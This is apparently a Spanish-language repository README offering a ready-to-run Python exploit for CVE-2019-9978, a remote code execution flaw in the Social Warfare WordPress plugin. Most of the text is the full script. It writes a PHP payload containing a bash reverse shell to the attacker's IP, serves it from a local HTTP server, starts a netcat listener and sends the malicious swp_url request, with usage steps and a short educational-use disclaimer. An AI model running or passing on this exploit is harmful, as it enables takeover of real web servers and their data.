Este repositorio contiene un exploit funcional en Python para CVE-2019-9978, una vulnerabilidad de ejecución remota de código en el plugin Social Warfare para WordPress (versión <= 3.5.2).

Descripción

El parámetro swp_debug en admin-post.php permite a atacantes remotos incluir archivos externos que contienen código PHP malicioso, el cual se evalúa en el servidor. Al proporcionar una URL manipulada que aloja un payload de reverse shell, un atacante puede obtener ejecución de comandos.

Características del Exploit

Aloja un payload PHP utilizando el servidor HTTP integrado de Python.
Envía un parámetro swp_url malicioso para activar RCE.
Inicia un listener de Netcat para capturar la reverse shell.
Escribe automáticamente el payload con el escape correcto para una ejecución de código exitosa.

Requisitos

Python 3.x
Netcat
Resolución DNS local para el dominio objetivo (p. ej. example.com mapeado a la IP objetivo)

Código del Exploit

#!/usr/bin/env python3

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"

def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")

def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()

def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])

def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass

def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")

Uso

Actualiza ATTACKER_IP y LISTEN_PORT con la IP de tu máquina y el puerto deseado.
Asegúrate de que el objetivo resuelva example.com a la IP correcta.
Ejecuta el script:

python3 exploit.py

Captura la reverse shell en tu listener.

Referencias

Descargo de responsabilidad

Este exploit se proporciona únicamente con fines educativos. No lo utilices sin permiso explícito en ningún sistema que no poseas.

Más Populares

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

Acerca de